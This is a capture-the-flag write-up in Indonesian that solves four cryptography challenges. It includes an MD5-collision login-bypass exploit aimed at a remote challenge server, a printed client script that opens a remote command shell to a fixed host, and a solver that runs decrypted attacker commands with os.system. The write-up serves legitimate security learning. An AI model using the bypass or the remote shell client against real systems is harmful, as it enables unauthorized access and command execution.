<style> img[alt=chall-sc] { display: block; margin: 0 auto; width: 100em; } p { text-align: justify; } p::first-line { text-indent: 0; } </style> # University CTF 2024: Binary Badlands Cryptography Writeup (Bahasa Indonesia) ## alphascii clashing ![chall-sc](https://hackmd.io/_uploads/Bkwjbx1HJl.png) Diberikan `server.py` ### server.py ```python #!/usr/bin/env python3 from hashlib import md5 import json ''' Data format: { username: [md5(username).hexdigest(), password], . . . } ''' users = { 'HTBUser132' : [md5(b'HTBUser132').hexdigest(), 'secure123!'], 'JohnMarcus' : [md5(b'JohnMarcus').hexdigest(), '0123456789'] } def get_option(): return input(''' Welcome to my login application scaredy cat ! I am using MD5 to save the passwords in the database. I am more than certain that this is secure. You can't prove me wrong! [1] Login [2] Register [3] Exit Option (json format) :: ''') def main(): while True: option = json.loads(get_option()) if 'option' not in option: print('[-] please, enter a valid option!') continue option = option['option'] if option == 'login': creds = json.loads(input('enter credentials (json format) :: ')) usr, pwd = creds['username'], creds['password'] usr_hash = md5(usr.encode()).hexdigest() for db_user, v in users.items(): if [usr_hash, pwd] == v: if usr == db_user: print(f'[+] welcome, {usr} 🤖!') else: print(f"[+] what?! this was unexpected. shutting down the system :: {open('flag.txt').read()} 👽") exit() break else: print('[-] invalid username and/or password!') elif option == 'register': creds = json.loads(input('enter credentials (json format) :: ')) usr, pwd = creds['username'], creds['password'] if usr.isalnum() and pwd.isalnum(): usr_hash = md5(usr.encode()).hexdigest() if usr not in users.keys(): users[usr] = [md5(usr.encode()).hexdigest(), pwd] else: print('[-] this user already exists!') else: print('[-] your credentials must contain only ascii letters and digits.') elif option == 'exit': print('byeee.') break if __name__ == '__main__': main() ``` Perhatikan snippet untuk opsi login: ```python if option == 'login': creds = json.loads(input('enter credentials (json format) :: ')) usr, pwd = creds['username'], creds['password'] usr_hash = md5(usr.encode()).hexdigest() for db_user, v in users.items(): if [usr_hash, pwd] == v: if usr == db_user: print(f'[+] welcome, {usr} 🤖!') else: print(f"[+] what?! this was unexpected. shutting down the system :: {open('flag.txt').read()} 👽") exit() break else: print('[-] invalid username and/or password!') ``` Jika kita bisa login dengan username yang tidak ada di database namun memiliki hash md5 yang sama dengan username yang ada di database `db_user` maka kita bisa mendapatkan flagnya. Untuk melakukannya, kita dapat menggunakan md5 hash collision. Register dan login dengan menggunakan username yang berbeda namun hasil hash md5nya sama (https://stackoverflow.com/questions/61670228/are-there-any-known-md5-collisions-for-two-plain-text-ascii-strings-not-binary) ### POC ```python #!/usr/bin/env python3 from hashlib import md5 from pwn import * import json host, port = "nc 94.237.55.109 50491".split(" ")[1:3] context.log_level = 'debug' io = remote(host, port) sla = lambda a, b: io.sendlineafter(a, b) com = lambda: io.interactive() user1 = b"TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak" user2 = b"TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak" assert md5(user1).hexdigest() == md5(user2).hexdigest(), "md5 hashnya ga sama" register_option_payload = {"option": "register"} sla("Option (json format) :: ", json.dumps(register_option_payload)) p = { "username": user1.decode(errors="ignore"), "password": "0123456789" } sla("enter credentials (json format) :: ", json.dumps(p)) login_option_payload = {"option": "login"} sla("Option (json format) :: ", json.dumps(login_option_payload)) p = { "username": user2.decode(errors="ignore"), "password": "0123456789" } sla("enter credentials (json format) :: ", json.dumps(p)) com() ``` `HTB{finding_alphanumeric_md5_collisions_for_fun_https://x.com/realhashbreaker/status/1770161965006008570_996655c8d33eeb0421234fe818d59fa3}` ## MuTLock ![chall-sc](https://hackmd.io/_uploads/SJzL4xySJg.png) Diberikan `source.py` dan `output.txt` ### source.py ```python #!/usr/bin/env python3 import random import string import base64 import time from secret import FLAG def generate_key(seed, length=16): random.seed(seed) key = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length)) return key def polyalphabetic_encrypt(plaintext, key): key_length = len(key) ciphertext = [] for i, char in enumerate(plaintext): key_char = key[i % key_length] encrypted_char = chr((ord(char) + ord(key_char)) % 256) ciphertext.append(encrypted_char) return base64.b64encode(''.join(ciphertext).encode()).decode() def xor_cipher(text, key): return bytes([ord(c) ^ key for c in text]) def get_timestamp_based_keys(): timestamp = int(time.time()) if timestamp % 2 == 0: key_seed = random.randint(1, 1000) xor_key = 42 else: key_seed = 42 xor_key = random.randint(1, 255) return key_seed, xor_key def main(): # Split the flag flag_half1 = FLAG[:len(FLAG)//2] flag_half2 = FLAG[len(FLAG)//2:] encrypted_flags = [] for _ in range(2): key_seed, xor_key = get_timestamp_based_keys() key = generate_key(key_seed) encrypted_half = polyalphabetic_encrypt(flag_half1 if len(encrypted_flags) == 0 else flag_half2, key) encrypted_half = xor_cipher(encrypted_half, xor_key) encrypted_flags.append(encrypted_half.hex()) time.sleep(1) # Save encrypted flags to output.txt with open('output.txt', 'w') as f: f.write(f"{encrypted_flags[0]}\n{encrypted_flags[1]}\n") if __name__ == "__main__": main() ``` ### output.txt ```txt 00071134013a3c1c00423f330704382d00420d331d04383d00420134044f383300062f34063a383e0006443310043839004315340314382f004240331c043815004358331b4f3830 5d1f486e4d49611a5d1e7e6e4067611f5d5b196e5b5961405d1f7a695b12614e5d58506e4212654b5d5b196e4067611d5d5b726e4649657c5d5872695f12654d5d5b4c6e4749611b ``` Perhatikan proses mendapatkan keynya ```python def get_timestamp_based_keys(): timestamp = int(time.time()) if timestamp % 2 == 0: key_seed = random.randint(1, 1000) xor_key = 42 else: key_seed = 42 xor_key = random.randint(1, 255) return key_seed, xor_key def generate_key(seed, length=16): random.seed(seed) key = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length)) return key def main(): ### ... ### for _ in range(2): key_seed, xor_key = get_timestamp_based_keys() key = generate_key(key_seed) encrypted_half = polyalphabetic_encrypt(flag_half1 if len(encrypted_flags) == 0 else flag_half2, key) encrypted_half = xor_cipher(encrypted_half, xor_key) encrypted_flags.append(encrypted_half.hex()) time.sleep(1) ### ... ### ``` Jika `timestamp = int(time.time())` (current time) di modulo dengan 2 hasilnya sama dengan nol, maka xor_keynya 42, dan key_seednya dirandom dari 1 - 1000, kemudian ada selang waktu 1 detik `time.sleep(1)` untuk pembangkitan key kedua. Jadi untuk key kedua, pasti seednya 42 dan xor_keynya di random dari 1 - 255. Berikut percobaannya: ```python #!/usr/bin/env python3 import random import string import base64 import time def get_timestamp_based_keys(): timestamp = int(time.time()) if timestamp % 2 == 0: key_seed = random.randint(1, 1000) xor_key = 42 else: key_seed = 42 xor_key = random.randint(1, 255) return key_seed, xor_key def generate_key(seed, length=16): random.seed(seed) key = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length)) return key def xor_cipher(text, key): return bytes([ord(c) ^ key for c in text]) def polyalphabetic_encrypt(plaintext, key): key_length = len(key) ciphertext = [] for i, char in enumerate(plaintext): key_char = key[i % key_length] encrypted_char = chr((ord(char) + ord(key_char)) % 256) ciphertext.append(encrypted_char) return base64.b64encode(''.join(ciphertext).encode()).decode() def polyalphabetic_decrypt(ciphertext, key): key_length = len(key) plaintext = [] decoded_ciphertext = base64.b64decode(ciphertext).decode() for i, char in enumerate(decoded_ciphertext): key_char = key[i % key_length] decrypted_char = chr((ord(char) - ord(key_char)) % 256) plaintext.append(decrypted_char) return ''.join(plaintext) for _ in range(2): key_seed, xor_key = get_timestamp_based_keys() key = generate_key(key_seed) print(f"key_seed, xor_key: {key_seed, xor_key}") key = generate_key(key_seed) print(f"key: {key}") time.sleep(1) ``` ![chall-sc](https://hackmd.io/_uploads/Hy2WOlJHyg.png) Dapat dilihat jika key_seednya 42, maka string yang dihasilkan akan selalu sama. Jika tidak, maka key_seednya dapat dibrute dari 1 - 1000 dengan iterasi. Karena format dari flag adalah `HTB{}`, langsung saja kita reverse proccessnya dan kita bruteforce key_seednya. Berikut solvernya: ### POC ```python #!/usr/bin/env python3 import random import string import base64 from multiprocessing import Pool, cpu_count KEY_42 = "OhbVrpoiVgRV5IfL" FLAG_LENGTH = 144 CHARSET = string.ascii_letters + "0123456789!_@#$%^&*()" FLAG_PREFIX = "HTB{" def output(filename="output.txt"): with open(filename, "r") as f: lines = f.readlines() enc_1 = bytes.fromhex(lines[0].strip()) enc_2 = bytes.fromhex(lines[1].strip()) return enc_1, enc_2 def reverse_xor(byte, xor_key): return byte ^ xor_key def polyalphabetic_decrypt(ciphertext, key): key_length = len(key) pt = [] try: decoded_ciphertext = base64.b64decode(ciphertext).decode('utf-8', errors='ignore') except Exception: return None for i, char in enumerate(decoded_ciphertext): key_char = key[i % key_length] decrypted_char = chr((ord(char) - ord(key_char)) % 256) pt.append(decrypted_char) return ''.join(pt) def brute_force_scenario1_worker(xor_key): pt = [] for byte in enc_1: reversed_byte = reverse_xor(byte, xor_key) decrypted_char = chr(reversed_byte) pt.append(decrypted_char) pt = ''.join(pt) pt = polyalphabetic_decrypt(pt, KEY_42) if pt and pt.startswith(FLAG_PREFIX): return pt return None def brute_force_scenario2_worker(key_seed): key = generate_key(key_seed) pt = [] for byte in enc_2: reversed_byte = reverse_xor(byte, 42) decrypted_char = chr(reversed_byte) pt.append(decrypted_char) pt = ''.join(pt) pt = polyalphabetic_decrypt(pt, key) if pt and pt.startswith("ion"): return pt return None def brute_force_scenario3_worker(key_seed): key = generate_key(key_seed) pt = [] for byte in enc_1: reversed_byte = reverse_xor(byte, 42) decrypted_char = chr(reversed_byte) pt.append(decrypted_char) pt = ''.join(pt) pt = polyalphabetic_decrypt(pt, key) if pt and pt.startswith(FLAG_PREFIX): return pt return None def brute_force_scenario4_worker(xor_key): pt = [] for byte in enc_2: reversed_byte = reverse_xor(byte, xor_key) decrypted_char = chr(reversed_byte) pt.append(decrypted_char) pt = ''.join(pt) pt = polyalphabetic_decrypt(pt, KEY_42) if pt and pt.endswith('}'): return pt return None def generate_key(seed, length=16): random.seed(seed) key = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length)) return key enc_1, enc_2 = output() print(f"enc1, enc2: {enc_1, enc_2}") print("decrypting part 1 assuming key_seed=42 and is_odd=True...") with Pool(cpu_count()) as pool: decrypted_half1_candidates = pool.map(brute_force_scenario1_worker, range(1, 256)) decrypted_half1_candidates = [candidate for candidate in decrypted_half1_candidates if candidate] if decrypted_half1_candidates: decrypted_half1 = decrypted_half1_candidates[0] print("decrypted part 1:", decrypted_half1) print("decrypting part 2 assuming is_odd=False (key_seed=1-1000)...") with Pool(cpu_count()) as pool: decrypted_half2_candidates = pool.map(brute_force_scenario2_worker, range(1, 1001)) decrypted_half2_candidates = [candidate for candidate in decrypted_half2_candidates if candidate] if decrypted_half2_candidates: decrypted_half2 = decrypted_half2_candidates[0] print("decrypted part 2:", decrypted_half2) flag = decrypted_half1 + decrypted_half2 print(f"{flag}") ``` `HTB{timestamp_based_encryption_is_so_secure_i_promise}` ## exfiltrated entropy ![chall-sc](https://hackmd.io/_uploads/BJR45xJryg.png) Diberikan `server.py`, `client.py`, `params.py`, dan `traffic18112024.pcap` ### client.py ```python from pwn import * from params import * from secret import SEED from base64 import b64decode as bd, b64encode as be import json, subprocess class LCG: def __init__(self): self.state = SEED self.a = a self.b = b self.m = m def _next(self): self.state = (self.a * self.state + self.b) % self.m return self.state def generate_key(self, l): return bytes([self._next() & 0xff for _ in range(l)]) def generate_packet_uuid(self): return hex(self._next()) def encrypt(self, msg): key = self.generate_key(len(msg)) return xor(msg, key) def decrypt(self, msg): return self.encrypt(msg) r = remote('192.168.64.1', 1337) lcg = LCG() while True: data = json.loads(r.recvline()) enc_cmd = bd(data['cmd'].encode()) init = data['init'] cmd = lcg.decrypt(enc_cmd).decode() if init: lcg.generate_packet_uuid() else: init = True if cmd == b'exit': r.close() break try: out = subprocess.check_output(['bash', '-c', cmd]) enc_out = lcg.encrypt(out) r.sendline(be(enc_out)) except: break r.clean() ``` ### server.py ```python from pwn import * from params import * from secret import SEED from base64 import b64encode as be, b64decode as bd import json class LCG: def __init__(self): self.state = SEED self.a = a self.b = b self.m = m def _next(self): self.state = (self.a * self.state + self.b) % self.m return self.state def generate_key(self, l): return bytes([self._next() & 0xff for _ in range(l)]) def generate_packet_uuid(self): return hex(self._next()) def encrypt(self, msg): key = self.generate_key(len(msg)) return xor(msg, key) def decrypt(self, msg): return self.encrypt(msg) # context.log_level = 'debug' l = listen(1337) l.wait_for_connection() lcg = LCG() init = False while True: cmd = input('/home/v1ctim/Desktop> ').encode() enc_cmd = lcg.encrypt(cmd) if init: uuid = lcg.generate_packet_uuid() l.sendline(json.dumps({'init': init, 'id': uuid[2:], 'cmd': be(enc_cmd).decode()}).encode()) else: l.sendline(json.dumps({'init': init, 'cmd': be(enc_cmd).decode()}).encode()) init = True if cmd == b'exit': l.close() break enc_out = bd(l.recvline()) data = lcg.decrypt(enc_out) print(data) l.clean() ``` ### params.py ```python a = 0xa1d41ebef9c575ac113fcfd5ac8dbda9 b = 0x8dcf3cf766e0b6c30e753416a70e2367 m = 0x100000000000000000000000000000000 ``` Intinya kita harus meretrieve ciphertext dari file pcapnya, kemudian mendecrypt ciphertext tersebut dengan command yang diinput oleh attacker sesuai dengan `client.py`. Berikut script yang saya buat untuk mengextract payload yang ada di pcacpnya ### extract.py ```python #!/usr/bin/env python3 from scapy.all import * import json from base64 import b64decode import sys packets = rdpcap("traffic18112024.pcap") server_to_client = [] client_to_server = [] server_ip = None client_ip = None for pkt in packets: if pkt.haslayer(TCP): tcp_layer = pkt[TCP] if tcp_layer.dport == 1337: server_ip = pkt[IP].dst client_ip = pkt[IP].src break elif tcp_layer.sport == 1337: server_ip = pkt[IP].src client_ip = pkt[IP].dst break print(f"identified server IP: {server_ip}") print(f"identified client IP: {client_ip}") for pkt in packets: if pkt.haslayer(TCP): ip_layer = pkt[IP] tcp_layer = pkt[TCP] payload = bytes(tcp_layer.payload) if len(payload) == 0: continue try: p = payload.decode("utf-8") except UnicodeDecodeError: continue if "init" in p or "cmd" in p: if ip_layer.src == server_ip and ip_layer.dst == client_ip: server_to_client.append(p) elif ip_layer.src == client_ip and ip_layer.dst == server_ip: client_to_server.append(p) def extract_cmds(json_payloads): cmds = [] for data in json_payloads: try: json_data = json.loads(data) if "cmd" in json_data: ciphertext_b64 = json_data["cmd"] cmds.append(ciphertext_b64) except json.JSONDecodeError: continue return cmds s2c_cmds_b64 = extract_cmds(server_to_client) c2s_cmds_b64 = extract_cmds(client_to_server) with open("s2c_cmds.txt", "w") as f: for cmd in s2c_cmds_b64: f.write(cmd + "\n") with open("c2s_cmds.txt", "w") as f: for cmd in c2s_cmds_b64: f.write(cmd + "\n") print("done") print("server-to-client cmds saved in 's2c_cmds.txt'") print("client-to-server cmds saved in 'c2s_cmds.txt'") ``` Jika sudah mendapatkan encrypted bash commandnya, langsung saja reverse algoritma LCG (Linear Congruential Generator) yang digunakan untuk melihat hasil eksekusi dari payloadnya. Ternyata hasil eksekusi payloadnya merupakan flag yang ditampilkan dalam bentuk banner ### POC ```python #!/usr/bin/env python3 import base64 import string import os A = 0xa9 # multiplier (a_low) B = 0x67 # increment (b_low) M = 0x100 # modulus for 8-bit LCG def gen_key_stream(key0, length): key_stream = [key0] key = key0 for _ in range(1, length): next_key = (A * key + B) % M key_stream.append(next_key) key = next_key return key_stream def is_printable(data): return all(chr(byte) in string.printable for byte in data) def decrypt_ct(ct, key_stream): return bytes([c ^ k for c, k in zip(ct, key_stream)]) cts_b64 = [ "ocXzAq8Q", "4FfTtXHCD3LuRRJzLIzwyeylqqGwyTiugfjOo+MbNhyKv1ZDgSL33Lwaysu+dlONfwJ8jaqbuTVnVqwFloEI4wGdC9FFkmJgLpV9y3AZyjM0wsV+DRVR1cpOBvQqT4F46j2JiDxvABDqHRw5yrmv+uByJMyX/cZM2azJMonAVwV95ncUg0uWs3bmpturCW9sWiVaQ2pqjgAuUDs3Yab1/jJa4tthhkJrBJl6cyX88ijWqoMBKUkjsZ/sNa8uGLpC9gGpafUQwfyaPfImxIx8taB8bain59NlaI2RaL3YFfRrkxQAw8rUshLbxqI/AhpOH9LRQ09GeORcBnHPC0HaqMFDgp0euCJzrnVhdDmPrPPGhq/MsfISmr3R94HfOE4hs/h4ceMywp+qHOLZ/1RlvVoSBrK5w7o4G16PJLC9Xf8UzC6rQO5PQBiOcpNgCPg7NvToEickQd7CTBWQOEy+Rv0ar8gnTAooy2cjMe2iqeuEMTOd5Pz8QKS721vcxU4AU4cLDbwhr4tKteb3v3oGcAEiPF9sSoMbBlhoE0m7+f8wLPHvXrgfShSKBD0L9vccz42AMCUZGu+Ctw2QASe5apAnvWz0c+u3rD3aG8aXZo+hF3K4u7rjRkulqm2B+mD9aeJiVb2zlah74L6iRW0MUR7PvXkXSnnaX2sW8E9Y3obSBo2gEqcQAqhLAlsu7Y3y9Jyc87LJEMSf/tmq/BBEFIjcXXWBBO3ys1rK3vFdb5pfND6ApIO/AEhRoguD/SDGCpkOqkjXYk8cgSWaTE3aMULyhCZwFlHsyVMS9CodoFvAbInIEjE+L8ptHDff6IbbkENz/83i7SOGitFn3epsL0fyQjWlA5CSdceb/opVJVUeVwdYbVO4DC9XTRtDivq3VkbI0WL3cHUqmXcmAKzcGMSV/xkMB2Th6vAq+xcYhhm8EoFxqXC14e00/0XlvXm0pkZngfmo0Gd0qqJYofA34HS/Miuy6deJd5u3mnMeUGsv6O9mZ3VlpAUTQtEJXJvbzXbB7j+VPhb3J2JRRs+a9N2Is8jyyRO3tI7kmskDPRyMx1pg4jH138wWyqOvfWXVcTE+qNa+gh4VUZkDsaNE9H2+E/dyx2tKH78htEtT0zkU5tIOCzFl19odAJUdGapWjjqZmEBYKzGIdRF53KLK9qdmPczHycB8uYqRdNbLZixO2lIshAmGh1yx8ZKVGD1/RgFdPiE9k1YxHGQXd5Lmvg==" ] for idx, ct_b64 in enumerate(cts_b64, 1): ct = base64.b64decode(ct_b64) candidates = [] for key0 in range(256): key_stream = gen_key_stream(key0, len(ct)) plaintext = decrypt_ct(ct, key_stream) if is_printable(plaintext): candidates.append((key0, plaintext.decode())) if candidates: print(f"candidate for ct {idx}:") for key0, pt in candidates: print(f"key0: {key0} | pt: {pt}") if "base64 -d" in pt: os.system(pt) ``` `HTB{still_not_convinced_about_LCG_security?}` ## cryptospiracy theory ![chall-sc](https://hackmd.io/_uploads/rk-Q6ekHyx.png) Diberikan `generator.py` dan `encrypted_message.aes` ### generator.py ```python from Crypto.Cipher import AES from Crypto.Util.Padding import pad import binascii with open('key.txt', 'rb') as key_file: key = key_file.read().strip() if len(key) not in [16, 24, 32]: raise ValueError("Invalid AES key length. Key must be 16, 24, or 32 bytes long.") with open('message.txt', 'r') as message_file: message = message_file.read().strip() words = message.split() ciphertext = b"" cipher = AES.new(key, AES.MODE_ECB) for word in words: word_padded = pad(word.encode(), AES.block_size) encrypted_word = cipher.encrypt(word_padded) ciphertext += encrypted_word with open('encrypted_message.aes', 'wb') as file: file.write(ciphertext) print("Encryption complete. Ciphertext saved to 'encrypted_message.aes'.") ``` ### encrypted_message.aes ```txt ¥w‰Í[c:u‹¡ðï܏ ¦Q .d`à^Ñà”ç #ªT£ÝñâU£6HZÎ~è&åfûÄïóÑ8ž¸–)P‡FäOÀ‚Ø‘ I̓|ál¾)Q]Š&‘ÈÉ|Ó±³xžÁQü. œì}6alE€)©žƒ2˜Ž¶úþrÅ,•¶×1‡ÆÚY.y”inÙÄ–ø > vŸ®cËÞóÊÜÇNƒ2˜Ž¶úþrÅ,•¶E)fr´‰Æš’u#mæ_èÒ@¢‰àH9„®ð¨†°Ôþycbõ6^4·qãëú§à×/x¯†³fêÑ;÷/¢´K<;³ëý—Nâj×B\nú|{¬ðí–/öʧ:ÁQü. œì}6alE€)©ž˜ásɘ6¯­G1L7õ¡ %}EUaSH0묁#‘¥h/o öV`SåÏT #ªT£ÝñâU£6HZÎ~'c#.…ºæØJv[Š|W5ç)Q]Š&‘ÈÉ|Ó±³xže‘þöåþäÏ‚T0ÕŽÌpSìÍå·PžèRÐúr[ ``` Di `generator.py` dapat dilihat bahwa encryptionnya menggunakan `AES-ECB` dan keynya diload dari `key.txt` ```python with open('key.txt', 'rb') as key_file: key = key_file.read().strip() ``` Jadi, saya membuat script untuk melakukan bruteforce terhadap keynya dengan wordlists dari `rockyou.txt` (wordlist yang sering digunakan untuk bruteforce common names dan common passwords). Karena plaintextnya sudah pasti `HTB`, maka saya brute dengan known plaintext attack. ### sol.py ```python #!/usr/bin/env python3 from Crypto.Cipher import AES import binascii def load_rockyou(file_path): with open(file_path, "r", encoding="latin-1") as f: keys = [line.strip() for line in f if len(line.strip()) in [16, 24, 32]] return keys def decrypt_aes_ecb(ct, key): cipher = AES.new(key.encode(), AES.MODE_ECB) decrypted = cipher.decrypt(ct) return decrypted def bf_aes_ecb(ct, known_pt, path): ct = binascii.unhexlify(ct) possible_keys = load_rockyou(path) for key in possible_keys: decrypted = decrypt_aes_ecb(ct, key) if decrypted and known_pt.encode() in decrypted: print(f"key found: {key}") print(f"pt: {decrypted.decode()}") return key ct = open("encrypted_message.aes", "rb").read().hex() known_pt = "HTB{" rockyou_path = "./rockyou.txt" bf_aes_ecb(ct, known_pt, rockyou_path) ``` ![chall-sc](https://hackmd.io/_uploads/BkRURlyH1x.png) Dapat dilihat bahwa flag tersebut terbagi menjadi 2 part. Part pertama adalah `HTB{Br3@k_Th3`, dan part keduanya adalah challenge selanjutnya. Login ke website yang diberikan untuk challenge tersebut sesuai dengan username dan password yang kita dapat ![chall-sc](https://hackmd.io/_uploads/BJff1b1rye.png) Dapat dilihat bahwa terdapat conversation log dari 2 hacker di website tersebut ![chall-sc](https://hackmd.io/_uploads/rJf6yb1Bke.png) ![chall-sc](https://hackmd.io/_uploads/Hy5skbJBye.png) Dapat dilihat bahwa terdapat `encrypted.txt` yang merupakan encrypted text yang diencrypt dengan menggunakan `Affine Cipher`. Diberikan juga source code untuk encryptionnya ### encryptor.py ```python from math import gcd import random def encrypt(a, b): ct = [] for ch in msg: if ch.isalpha(): encrypted_char = chr(((a * (ord(ch) - 65 - b)) % 26) + 65) ct.append(encrypted_char) else : ct.append(ch) return ''.join(ct) msg = open('secret_message.txt').read() while True: a = random.randint(1, 26) b = random.randint(1, 26) if gcd(a, 26) == 1: break with open('encrypted.txt', 'w') as f: f.write(encrypt(a,b)) print("Encrypted message saved to encrypted.txt") ``` ### encrypted.txt ```txt YDAAV RBOR, EYFX FOKVQHBEFVO FX DGEQDHDAN PQFEFPBA. ZD BQD RVFOR EV LXD B IAVBE AVBW VK DGCAVXFSDX KVQ EYD BEEBPT BOW BAXV ZD BQD XLPPDXXKLA FO IQFIFOR EYD IBOT'X HBOBRDQ KVQ 25% VK EYD AVVE. ZD BQD BAXV PLQQDOEAN ZVQTFOR KQVH VLQ IBXD FO AVOWVO DGBPEAN BE: ABEFELWD: 51.5074, AVORFELWD: -0.1278. KABR: _IA0PT_C@EE3QO} ``` Langsung saja reverse algoritma `Affine Cipher` tersebut dan brute plaintextnya ### POC ```python #!/usr/bin/env python3 from math import gcd def mod_inverse(a, m): for i in range(1, m): if (a * i) % m == 1: return i return None def decrypt(a, b, enc): pt = [] a_inv = mod_inverse(a, 26) for ch in enc: if ch.isalpha(): decrypted_char = chr(((a_inv * ((ord(ch) - 65) - b)) % 26) + 65) pt.append(decrypted_char) else: pt.append(ch) return ''.join(pt) enc = open('encrypted.txt').read() for a in range(1, 26): if gcd(a, 26) != 1: continue for b in range(26): pt = decrypt(a, b, enc) if 'FLAG' in pt or 'HTB' in pt or 'flag' in pt: print(f"key pair: a={a}, b={b}") print("pt:") print(pt) exit() ``` ![chall-sc](https://hackmd.io/_uploads/S1MAPZkS1g.png) Dan didapatkan part 2 flag, yakni `_BL0CK_P@TT3RN}`. Jika kita menggabungkan kedua part tersebut, didapatkan: `HTB{Br3@k_Th3_BL0CK_P@TT3RN}`